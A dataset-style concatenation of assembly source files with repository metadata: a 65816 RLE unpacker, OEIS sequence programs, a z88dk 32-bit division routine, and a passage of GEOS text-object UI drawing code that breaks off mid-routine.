- rle run, add 1 each pass, C+1 times (1-64) ; 3 - extend the value count to 2 bytes ; 00 lit, 40 rle, 80 plus, F0 special ; two byte header ---- ; 11 MM CCCC (high) CCCCCCCC (low) ; M - mode (as above), C - count (+1) ; count 1-4096 ; c0 lit big, d0 = rle big, e0 = plus big ; F0 - end of data, non-planar ; FF - end of data, planar Unrle: .a16 .i16 rep #$30 ; axy16 sta temp1 stx temp2 stz temp4 ;index to dst ldy #0 @loop: sep #$20 ; a8 lda #0 ;clear the upper byte for later xba ; read header byte lda [temp1], y cmp #$f0 bcs @done and #$c0 ;get mode bne @1 jmp @lit_short ;00 @1: cmp #$40 bne @2 jmp @rle_short ;40 @2: cmp #$80 bne @3 jmp @plus_short ;80 @3: ;2 byte header, get 1st byte lda [temp1], y and #$30 bne @4 jmp @lit_long ;c0 @4: cmp #$10 bne @5 jmp @rle_long ;d0 @5: jmp @plus_long ;e0 @done: ; see if planar and #$0f bne @planar ;ff @standard: ;f0 @exit: rep #$30 ;axy16 lda #.loword(UNPACK_ADR) ldx #^UNPACK_ADR ldy temp4 ;size rtl @planar: .a8 ; interleave the bytes rep #$30 ;axy16 lda #.loword(UNPACK_ADR) ldy #^UNPACK_ADR sta temp1 lda temp4 ;size pha ;save size clc adc temp1 sta temp5 pha ;save address lda temp4 ;size lsr a ;half tax ;half size as counter clc adc temp1 sta temp3 ;full size, start of output buffer sty temp2 ;bank bytes sty temp4 sty temp6 ;temp1 points to start of buffer, temp3 points to halfway point sep #$20 ;a8 ldy #0 @loop2: lda [temp3], y ;high byte xba lda [temp1], y ;low byte rep #$20 ;a16 sta [temp5], y ;combined byte iny inc temp5 ;16 bit inc sep #$20 ;a8 dex bne @loop2 @exit2: rep #$30 ;axy16 ;lda #.loword(UNPACK_ADR) pla ;output address ldx #^UNPACK_ADR ply ;size rtl @lit_short: .a8 .i16 ;upper byte should be clear lda [temp1], y ; get repeat count and #$3f ;note register size mismatch tax ;loop count iny bra @literal @lit_long: rep #$20 ;a16 lda [temp1], y ; get repeat count xba ;the bytes are in reverse order and #$0fff tax iny iny ;2 byte header sep #$20 ;a8 ;fall through, x = repeat count @literal: ;copy literal bytes .a8 inx ;repeat +1 stx temp3 ;count ldx temp4 ;index to dst @loop4: sep #$20 ;a8 lda [temp1], y sta f:UNPACK_ADR, x iny inx rep #$20 ;a16 dec temp3 ;count 16 bit bne @loop4 ;sep #$20 ;a8 - done at top of @loop stx temp4 ;index to dst jmp @loop @rle_short: .a8 .i16 ;upper byte should be clear lda [temp1], y ; get repeat count and #$3f ;note register size mismatch tax ;loop count iny bra @do_rle @rle_long: rep #$20 ;a16 lda [temp1], y ; get repeat count xba ;the bytes are in reverse order and #$0fff tax iny iny ;2 byte header sep #$20 ;a8 ;fall through, x = repeat count @do_rle: .a8 inx ;repeat +1 lda [temp1], y ;the value to repeat iny phy txy ;use y as counter ldx temp4 ;index to dst @loop5: sta f:UNPACK_ADR, x inx dey bne @loop5 ply ;sep #$20 ;a8 - done at top of @loop stx temp4 ;index to dst jmp @loop @plus_short: .a8 .i16 ;upper byte should be clear lda [temp1], y ; get repeat count and #$3f ;note register size mismatch tax ;loop count iny bra @do_plus @plus_long: rep #$20 ;a16 lda [temp1], y ; get repeat count xba ;the bytes are in reverse order and #$0fff tax iny iny ;2 byte header sep #$20 ;a8 ;fall through, x = repeat count @do_plus: .a8 inx ;repeat +1 lda [temp1], y ;the value to repeat iny phy txy ;use y as counter ldx temp4 ;index to dst @loop6: sta f:UNPACK_ADR, x inc a ;increase the value each loop inx dey bne @loop6 ply ;sep #$20 ;a8 - done at top of @loop stx temp4 ;index to dst jmp @loop
15.99639
63
0.654254
3e1d743459dbfbef88533c7088d7ced469524fdf
142
asm
Assembly
original version (1984)/asm/map15-init.asm
fa8ntomas/bclk-samples
6e7f054eb4b96ca011ffb2ea49226146b001274b
[ "MIT" ]
null
null
null
original version (1984)/asm/map15-init.asm
fa8ntomas/bclk-samples
6e7f054eb4b96ca011ffb2ea49226146b001274b
[ "MIT" ]
null
null
null
original version (1984)/asm/map15-init.asm
fa8ntomas/bclk-samples
6e7f054eb4b96ca011ffb2ea49226146b001274b
[ "MIT" ]
null
null
null
; Map 15 init Map15Init lda #$01 sta MapVar1 sta MapVar2 sta MapVar3 rts
17.75
23
0.394366
aec87407826c8086f4ea2af8e9f8490c29da43f2
449
asm
Assembly
oeis/001/A001068.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/001/A001068.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/001/A001068.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A001068: a(n) = floor(5*n/4), numbers that are congruent to {0, 1, 2, 3} mod 5. ; Submitted by Simon Strandgaard ; 0,1,2,3,5,6,7,8,10,11,12,13,15,16,17,18,20,21,22,23,25,26,27,28,30,31,32,33,35,36,37,38,40,41,42,43,45,46,47,48,50,51,52,53,55,56,57,58,60,61,62,63,65,66,67,68,70,71,72,73,75,76,77,78,80,81,82,83,85,86,87,88,90,91,92,93,95,96,97,98,100,101,102,103,105,106,107,108,110,111,112,113,115,116,117,118,120,121,122,123 mul $0,10 div $0,8
64.142857
313
0.668151
d22b03b2199812ff215cfd6abe38bb23f0954bc9
6,367
asm
Assembly
libsrc/_DEVELOPMENT/l/sccz80/8-8080/i32/l_long_divide.asm
z88dk/z88dk
65da9648d5f51fb45ebc975af3af07196884edc9
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/sccz80/8-8080/i32/l_long_divide.asm
z88dk/z88dk
65da9648d5f51fb45ebc975af3af07196884edc9
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/sccz80/8-8080/i32/l_long_divide.asm
z88dk/z88dk
65da9648d5f51fb45ebc975af3af07196884edc9
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
;Copyright (c) 1987, 1990, 1993, 2005 Vrije Universiteit, Amsterdam, The Netherlands. ;All rights reserved. ; ;Redistribution and use of the Amsterdam Compiler Kit in source and ;binary forms, with or without modification, are permitted provided ;that the following conditions are met: ; ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; * Redistributions in binary form must reproduce the above ; copyright notice, this list of conditions and the following ; disclaimer in the documentation and/or other materials provided ; with the distribution. ; ; * Neither the name of Vrije Universiteit nor the names of the ; software authors or contributors may be used to endorse or ; promote products derived from this software without specific ; prior written permission. ; ;THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS, AUTHORS, AND ;CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, ;INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF ;MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ;IN NO EVENT SHALL VRIJE UNIVERSITEIT OR ANY AUTHORS OR CONTRIBUTORS BE ;LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ;CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ;SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR ;BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ;WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE ;OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ;EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SECTION code_clib SECTION code_l_sccz80 PUBLIC l_long_divide EXTERN error_divide_by_zero_mc EXTERN __retloc, __math_block1, __math_block3, __math_block2 ; 32 bits integer divide and remainder routine ; Bit 0 of a-reg is set iff quotient has to be delivered ; Bit 7 of a-reg is set iff the operands are signed, so: ; Expects in a-reg: 0 if called by rmu 4 ; 1 if called by dvu 4 ; 128 if called by rmi 4 ; 129 if called by dvi 4 ; Divisor = dehl ; Dividend = under one return address ; Returns: dehl = result (modulus or quotient) divide_zero: ld hl,(__retloc) push hl ld hl,0 ld de,hl jp error_divide_by_zero_mc l_long_divide: ld (__div32_mode),A ld (__math_block3),hl ld a,h ;0 divisor check or l ex de,hl ld (__math_block3+2),hl or h or l pop hl ;return address ld (__retloc),hl pop hl ; store dividend ld (__math_block1),HL pop hl ld (__math_block1+2),HL jp Z,divide_zero ld hl, 0 ; store initial value of remainder ld (__math_block2),hl ld (__math_block2+2),hl ld b,0 ld a,(__div32_mode) rla jp NC,do_unsigned ; jump if unsigned ; Considering signed values here ld a,(__math_block1+3) ;Check sign of dividend rla jp NC,dividend_not_signed ld b,129 ld hl, __math_block1 call compl ; dividend is positive now dividend_not_signed: ld a,(__math_block3+3) rla jp NC,do_unsigned ;Just carry on inc b ld hl, __math_block3 call compl ; divisor is positive now do_unsigned: push bc ; save b-reg ld b,32 dv0: ld hl,__math_block1 ; left shift: __math_block2 <- __math_block1 <- 0 xor a shift: ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a inc hl ld a,(hl) rla ld (hl),a ld hl,__math_block2+3 ; which is larger: divisor or remainder? ld de,__math_block3+3 ld c,4 loop: ld a,(de) cp (hl) jp Z,again jp NC,continue jp do_subtract again: dec de dec hl dec c jp NZ,loop do_subtract: ld de,__math_block2 ; remainder is larger or equal: subtract divisor ld hl,__math_block3 xor a ld a,(de) sbc (hl) ld (de),a inc de inc hl ld a,(de) sbc (hl) ld (de),a inc de inc hl ld a,(de) sbc (hl) ld (de),a inc de inc hl ld a,(de) sbc (hl) ld (de),a ld hl,__math_block1 inc (hl) continue: dec b jp NZ,dv0 ; keep looping pop bc ld a,(__div32_mode) ; quotient or remainder? rra jp NC,return_modulus ; for dvi 4 and dvu 4 only: ld a,b rra ld hl, __math_block1 ; complement quotient if divisor call C,compl ; and dividend have different signs ld a,b rla ld hl, __math_block2 call C,compl ; negate remainder if dividend was negative ld hl,(__retloc) push hl ld hl, (__math_block1+2) ; push quotient ex de,hl ld hl, (__math_block1) ret ; for rmi 4 and rmu 4 only: return_modulus: ld a,b rra ld hl, __math_block1 ; complement quotient if divisor call C,compl ; and dividend have different signs ld a,b rla ld hl, __math_block2 call C,compl ; negate remainder if dividend was negative ld hl,(__retloc) push hl ld hl, (__math_block2+2) ex de,hl ld hl, (__math_block2) ret ; make 2's complement of 4 bytes pointed to by hl. compl: push bc ld c,4 xor a compl1: ld a,0 sbc (hl) ld (hl),a inc hl dec c jp NZ,compl1 pop bc ret SECTION bss_crt __div32_mode: defb 0
25.987755
85
0.57531
9ea5c186359a4b22e1a27ef911cefbddbb210ba8
793
asm
Assembly
oeis/059/A059238.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/059/A059238.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/059/A059238.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A059238: Orders of the finite groups GL_2(K) when K is a finite field with q = A246655(n) elements. ; Submitted by Simon Strandgaard ; 6,48,180,480,2016,3528,5760,13200,26208,61200,78336,123120,267168,374400,511056,682080,892800,1014816,1822176,2755200,3337488,4773696,5644800,7738848,11908560,13615200,16511040,19845936,25048800,28003968,38450880,42508800,46879728,62029440,87607296,103020000,111447648,129843216,139851360,161591808,212572800,242172000,258080256,266322048,292234800,349685376,370596240,489554400,516420000,603678816,701554608,773111136,810875520,890537568,1020858480,1067320800,1323859200,1380261888,1498454496 seq $0,246655 ; Prime powers: numbers of the form p^k where p is a prime and k >= 1. mov $2,$0 mul $2,$0 bin $0,2 sub $2,1 mul $2,$0 mov $0,$2 div $0,3 mul $0,6
56.642857
495
0.800757
e1ac52298e45e3462c1cf1213f99e1968c368938
133,691
asm
Assembly
Library/SpecUI/CommonUI/CGadget/copenTextCommon.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/SpecUI/CommonUI/CGadget/copenTextCommon.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/SpecUI/CommonUI/CGadget/copenTextCommon.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1994 -- All Rights Reserved. PROJECT: GEOS MODULE: OpenLook/Open FILE: copenTextCommon.asm ROUTINES: Name Description ---- ----------- MTD MSG_VIS_DRAW Draw a text display object. MTD MSG_VIS_DRAW Draw a text display object. MTD MSG_VIS_DRAW Draw a text display object. INT ECCheckGenTextObject Checks if this is a GenText. INT MaybeClearTitleBarArea If we're in the title bar do special drawing. MTD MSG_SPEC_BROADCAST_FOR_DEFAULT_FOCUS This broadcast method is used to find the object within a window which has HINT_DEFAULT_FOCUS{_WIN}. MTD MSG_META_GRAB_FOCUS_EXCL Force the focus to this object. MTD MSG_META_GRAB_TARGET_EXCL Force the target to this object. MTD MSG_SPEC_NOTIFY_ENABLED Sent to object to update its visual enabled state. MTD MSG_SPEC_NOTIFY_NOT_ENABLED Disables the text object and its cohorts, if needed. INT OLTextNavigateIfHaveFocus Navigates if we currently have the focus. Special version for OLTextClass which will check at the view level if there is one (rather than finding out we have the focus under the view, which we already know.) MTD MSG_SPEC_NAVIGATION_QUERY This method is used to implement the keyboard navigation within-a-window mechanism. See method declaration for full details. MTD MSG_VIS_TEXT_SCROLL_PAGE_UP Scrolls the text object up. MTD MSG_VIS_TEXT_SCROLL_PAGE_DOWN Scrolls the text object up. INT OLTextScroll Scrolls the text object up. MTD MSG_META_TEXT_USER_MODIFIED Handle the text object becoming dirty MTD MSG_META_TEXT_NOT_USER_MODIFIED Handle the text object becoming clean. MTD MSG_GEN_TEXT_SET_MODIFIED_STATE Sets modified state of text object. MTD MSG_GEN_APPLY Handle APPLY by setting the object clean again MTD MSG_SPEC_VIS_OPEN_NOTIFY Handle notification that an object with GA_NOTIFY_VISIBILITY has been opened MTD MSG_SPEC_VIS_CLOSE_NOTIFY Handle notification that an object with GA_NOTIFY_VISIBILITY has been opened GLB GetTextObjectLineHeight Gets the line height of a multi-line text object. We can't query the text object for this information, as it won't generate it until its geometry is valid, so calculate it ourself: LineHeight = GFMI_MAX_ADJUSTED_HEIGHT - GFMI_ABOVE_BOX - GFMI_BELOW_BOX MTD MSG_VIS_RECALC_SIZE Calculate a size for a text object. Does nothing if the text is in a view. INT OLTextDerefVis Calculate a size for a text object. Does nothing if the text is in a view. INT OLTextDerefGen Calculate a size for a text object. Does nothing if the text is in a view. INT ObjCallInstanceSaveBp Calculate a size for a text object. Does nothing if the text is in a view. MTD MSG_VIS_NOTIFY_GEOMETRY_VALID Notification of valid geometry. We'll take this moment to pop our text object into a view, if the text no longer fits in the area allocated. INT recalcSizeInView Calc's a new size for text objects in a view. MTD MSG_SPEC_GET_EXTRA_SIZE Returns the extra size in the text object. MTD MSG_VIS_TEXT_HEIGHT_NOTIFY Invoked when the text object changes size. MTD MSG_GET_FIRST_MKR_POS Returns starting position of the text. MTD MSG_VIS_TEXT_SHOW_SELECTION If in a view, make sure that the selection is scrolled on screen. If a single line object, invoke a method in the vis instance to scroll the selection on screen horizontally. MTD MSG_META_CONTENT_TRACK_SCROLLING Normalizes a position to be used for scrolling. The idea is to make sure whole lines get scrolled on or off. MTD MSG_VIS_TEXT_UPDATE_GENERIC Update the generic instance data INT TextUpdateCharParaAttrs Updates generic versions of the para attrs. INT UpdateItemGroupIfNeeded Updates an item group if we're running one. MTD MSG_SPEC_TEXT_SET_FROM_ITEM_GROUP Sets the text object from the moniker of the item passed. INT SetTextFromItem Sets text based on item's moniker. INT CallSaveBp Sets text based on item's moniker. MTD MSG_GEN_FIND_KBD_ACCELERATOR Finds the kbd accelerator and gives the text object the focus. MTD MSG_SPEC_TEXT_UPDATE_CHANGE_TRIGGER Sends a message to the IC_CHANGE trigger to update it's state. INT OLTextChangeAlterExclIfSingleLineDefault Sends a message to the IC_CHANGE trigger to update it's state. MTD MSG_GEN_MAKE_APPLYABLE Makes the dialog box applyable if needed. MTD MSG_META_TEXT_EMPTY_STATUS_CHANGED Handle ATTR_GEN_TEXT_SET_OBJECT_ENABLED_WHEN_TEXT_EXISTS GLB SpecGetTextKbdBindings Return a pointer to the table of keyboard bindings GLB SpecGetTextPointerImage Return an optr to the pointer image for text GLB SpecDrawTextCursor Draw the text cursor GLB SpecDrawTextCursor Draw the text cursor INT GetPreviousCursor Get the old cursor, and if necessary, set the new one. INT Draw3DCursor Draws the 3D text cursor, required by RUDY MTD MSG_GEN_TEXT_SET_INDETERMINATE_STATE Specific UI handler for setting indeterminate state. We revert the text object to drawing in a 50% pattern if indeterminate. This *should* only get called if there were an actual change in the indeterminate state. MTD MSG_META_GET_ACTIVATOR_BOUNDS Gets bounds of activator. REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 10/10/94 Broken out of copenText.asm DESCRIPTION: Implementation of the OpenLook text display class (OLTextClass). $Id: copenTextCommon.asm,v 1.2 98/03/11 05:51:49 joon Exp $ ------------------------------------------------------------------------------@ CommonUIClassStructures segment resource ; Class definition OLTextClass mask CLASSF_NEVER_SAVED or \ mask CLASSF_DISCARD_ON_SAVE CommonUIClassStructures ends CommonFunctional segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a text display object. CALLED BY: via MSG_VIS_DRAW. PASS: ds:*si = instance ptr. es = class segment. ax = MSG_VIS_DRAW. bp = gstate to use. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 10/13/89 Initial version cbh 1/26/90 Changed to draw chiseled lines Chris 4/91 Updated for new graphics, bounds conventions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _OL_STYLE OLTextDraw method dynamic OLTextClass, MSG_VIS_DRAW push cx ; test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW LONG jnz drawText ; in view, no borders! push es segmov es, dgroup, ax ;es = dgroup mov al, es:[moCS_dsLightColor] mov ah, es:[moCS_dsDarkColor] pop es push ax ; save it test ds:[di].VI_attrs, mask VA_FULLY_ENABLED mov di, bp ; gstate in di jnz 10$ ; text is enabled, branch ; ; Clear a two pixel swath around the outside in case we're making the ; transition from enabled to disabled. ; pop ax ; restore colors push ax ; save them again clr ah ; use light color call GrSetLineColor ; clear area around text mov ax, SDM_50 or mask SDM_INVERSE ; clear out offending pixels call GrSetLineMask call OpenGetLineBounds ; get bounds call GrDrawRect ; clear frame around the outside inc ax inc bx dec cx dec dx call GrDrawRect ; ; The new lines will be drawn in a 50% pattern. ; mov al, SDM_50 ; else draw everything 50% call GrSetTextMask call GrSetLineMask 10$: ; ; See if drawing inside of a frame ; mov di, ds:[si] ; add di, ds:[di].Vis_offset ; test ds:[di].OLTDI_specState, mask TDSS_IN_FRAME pop ax ; dark color in ah, wash in al jz noFrame ; skip if not test ds:[di].OLTDI_specState, mask TDSS_COLOR_SET jz 40$ ; using bg color, branch mov ax, (C_BLACK shl 8) or C_WHITE ; dark color in ah, wash in al mov di, ds:[si] ; point to instance add di, ds:[di].Vis_offset ; ds:[di] -- VisInstance cmp ds:[di].VTI_washColor.SCP_index.SCPI_info, CF_INDEX jne 40$ ; some RGB color, forget it ; else use as wash color here mov al, ds:[di].VTI_washColor.SCP_index.SCPI_index cmp al, C_BLACK ; is the wash color black? jne 40$ ; no, branch mov ah, C_WHITE ; else we'll use a white frame 40$: push ax clr ah ; mask to get wash color only mov di, bp ; di = GState call GrSetAreaColor ; pop ax mov al, ah clr ah ; get dark color call GrSetLineColor ; set as line color call VisGetBounds ; call GrFillRect ; push es segmov es, dgroup, di ;es = dgroup test es:[moCS_flags], mask CSF_BW pop es jnz 42$ ; b/w, branch mov di, ds:[si] ; point to instance add di, ds:[di].Vis_offset ; ds:[di] -- SpecInstance test ds:[di].OLTDI_specState, mask TDSS_COLOR_SET jnz 42$ ; color specific branch sub cx, 2 ; one less on right/bottom, sub dx, 2 ; and adjust for line drawing mov di, bp ; di = GState call GrDrawRect ; draw dark frame push ax mov ax, C_WHITE ; now we'll draw in white call GrSetLineColor pop ax inc ax ; move right and down inc bx inc cx inc dx 42$: ; mov di, bp ; gstate in di call GrDrawRect ; draw the frame jmp drawText ; and branch to draw the text noFrame: ; ; No frame in this case. Draw a outward underline in open look. ; test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jnz doIt ; editable, go do it, dammit PrintMessage <THIS IS AN OPENLOOK BUG!> ;NUKED 10/26/90 by Eric because causes stack under-flow ; pop dx ; else this is an incredible jmp short drawText ; failure, get out while you ; still can! doIt: mov al, ah ; dark color in ax clr ah mov di, bp ; di = GState mov bp, ax ; save color mov ax, C_WHITE call GrSetLineColor ; set line color call OpenGetLineBounds ; get the bounds mov bx, dx ; draw at bottom dec bx ; move up for top line pop dx ; restore draw mode cmp dh,DC_GRAY_1 ; see if doing b/w jz 44$ ; b/w, branch to do single line call GrDrawHLine ; draw a line inc bx ; move down 44$: mov dx, ax ; save left mov ax, bp ; use dark color mov bp, di ; restore gstate in bp call GrSetLineColor ; set a white line mov ax, dx ; restore left call GrDrawHLine ; draw white line drawText: pop cx ; restore draw mode mov ax, MSG_VIS_DRAW ; mov di, offset OLTextClass push bp CallSuper MSG_VIS_DRAW pop bp mov di, bp mov al, SDM_100 ; fix up everything call GrSetTextMask call GrSetLineMask ret OLTextDraw endm endif if _MOTIF or _ISUI OLTextDraw method dynamic OLTextClass, MSG_VIS_DRAW .enter mov di, bp ; gstate in di push cx ; save draw mode mov bx, ds:[si] ; point to instance add bx, ds:[bx].Vis_offset ; ds:[di] -- SpecInstance test ds:[bx].OLTDI_specState, mask TDSS_IN_VIEW LONG jnz drawText ; in view, no borders! if (not DRAW_STYLES) test ds:[bx].OLTDI_specState, mask TDSS_IN_FRAME jz drawText ; no frame, branch endif setColors: mov bp, (C_BLACK shl 8) or C_BLACK ; assume frame is all black test ds:[bx].OLTDI_specState, mask TDSS_COLOR_SET jz setNormalColors ; text using window's BG, branch washColorSet: mov bx, ds:[si] ; point to instance add bx, ds:[bx].Vis_offset ; ds:[di] -- VisInstance cmp ds:[bx].VTI_washColor.CQ_info, CF_RGB jz drawFrame ; some RGB color, use black mov al, ds:[bx].VTI_washColor.CQ_redOrIndex clr ah call GrSetAreaColor ; cmp al, C_BLACK ; is the wash color black? jne drawFrame ; no, branch mov bp, (C_WHITE shl 8) or C_WHITE ; else we'll use a white frame jmp short drawFrame ; go draw it setNormalColors: call OpenSetInsetRectColors ; setup typical colors in bp drawFrame: if DRAW_STYLES ;-------------------------------------------------------------- ; ; get frame flag, draw style, frame thickness, inset thickness ; push di mov di, ds:[si] add di, ds:[di].Vis_offset mov ax, ds:[di].OLTDI_moreState andnf ax, mask TDSS_DRAW_STYLE rept (offset TDSS_DRAW_STYLE) shr ax, 1 ; al = draw style endm test ds:[di].OLTDI_specState, mask TDSS_IN_FRAME jz haveFrameFlag ; no frame ornf ah, mask DIAFF_FRAME ; else, set frame flag haveFrameFlag: pop di push ax ; pass flags, draw style mov ax, (DRAW_STYLE_FRAME_WIDTH shl 8) or DRAW_STYLE_INSET_WIDTH push ax ; pass frame, inset widths call VisGetBounds ; pass bounds ; ; draw frame and inset ; call OpenDrawInsetAndFrame else ;------------------------------------------------------------------------- call VisGetBounds ; use object bounds call OpenDrawAndFillRect ; draw an inset rect, filled endif ; DRAW_STYLES ----------------------------------------------------------- drawText: if TEXT_DISPLAY_FOCUSABLE ; ; if focused text display, show focus ; call ShowTextDisplayFocus endif pop cx ; restore draw mode mov bp, di ; pass gstate in bp if CLIP_SINGLE_LINE_TEXT push bp ; save gstate endif mov ax, MSG_VIS_DRAW ; mov di, offset OLTextClass CallSuper MSG_VIS_DRAW if CLIP_SINGLE_LINE_TEXT pop di ; di = gstate call ClipSingleLineText endif .leave ret OLTextDraw endm if DRAW_STYLES or TEXT_DISPLAY_FOCUSABLE InsetBounds proc near inc ax inc bx dec cx dec dx ret InsetBounds endp endif ; DRAW_STYLES or TEXT_DISPLAY_FOCUSABLE endif ; _MOTIF or _ISUI COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShowTextDisplayFocus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: indicate focus for text display CALLED BY: OLTextDraw PASS: *ds:si = OLText object di = gstate RETURN: nothing DESTROYED: ax, bx, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 7/25/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if TEXT_DISPLAY_FOCUSABLE ShowTextDisplayFocus proc near if DRAW_STYLES uses si endif .enter ; ; if we have focus, show it ; mov bp, ds:[si] add bp, ds:[bp].Vis_offset test ds:[bp].OLTDI_specState, mask TDSS_EDITABLE jnz notFocus test ds:[bp].OLTDI_moreState, mask TDSS_FOCUSABLE jz notFocus test ds:[bp].OLTDI_specState, mask TDSS_IN_VIEW jnz notFocus ; scrolling text focus drawn ; in view test ds:[bp].VTI_intSelFlags, mask VTISF_IS_FOCUS pushf ; save focus state test ds:[bp].OLTDI_specState, mask TDSS_IN_FRAME pushf ; save frame state movdw bxax, ds:[bp].VTI_washColor if DRAW_STYLES push ds:[bp].OLTDI_moreState endif mov bp, ax ; save wash color info call GrSetAreaColor call VisGetBounds if DRAW_STYLES pop si ; si OLTDI_moreState endif popf ; get frame state jz noFrame ; no frame if DRAW_STYLES rept (DRAW_STYLE_FRAME_WIDTH) call InsetBounds ; inset frame width endm else call InsetBounds ; inset frame width endif noFrame: if DRAW_STYLES andnf si, mask TDSS_DRAW_STYLE cmp si, DS_FLAT shl offset TDSS_DRAW_STYLE je noInset rept (DRAW_STYLE_INSET_WIDTH) call InsetBounds endm noInset: endif ; DRAW_STYLES call GrFillRect ; clear area out popf ; get focus state jz notFocus dec cx ; adjust for line drawing dec dx push ax mov ax, C_WHITE ; assume white cursor cmp bp, C_BLACK je haveCursorColor ; white cursor for black cmp bp, C_DARK_GREY je haveCursorColor ; white cursor for dark grey mov ax, C_BLACK ; black cursor for any other haveCursorColor: call GrSetLineColor mov al, SDM_50 call GrSetLineMask pop ax call GrDrawRect ; draw focus indicator mov al, SDM_100 call GrSetLineMask notFocus: .leave ret ShowTextDisplayFocus endp endif ; TEXT_DISPLAY_FOCUSABLE COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ClipSingleLineText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: clip text off end CALLED BY: OLTextDraw PASS: *ds:si = OLText object di = gstate RETURN: nothing DESTROYED: ax, bx, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: Just draw ellipsis in system font REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 7/24/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if CLIP_SINGLE_LINE_TEXT idata segment ellipsisString TCHAR C_ELLIPSIS, 0 idata ends ClipSingleLineText proc near mov bx, ds:[si] add bx, ds:[bx].Vis_offset test ds:[bx].VTI_state, mask VTS_ONE_LINE LONG jz done test ds:[bx].OLTDI_specState, mask TDSS_EDITABLE jz checkClip ; not editable, check clipping test ds:[bx].VTI_intSelFlags, mask VTISF_IS_FOCUS LONG jnz done ; editable has focus, no clip checkClip: ; ; don't have focus, show ellipses if text is wider than text object ; call CheckTextOverflow LONG jnc done ; object wide enough mov bp, ds:[si] add bp, 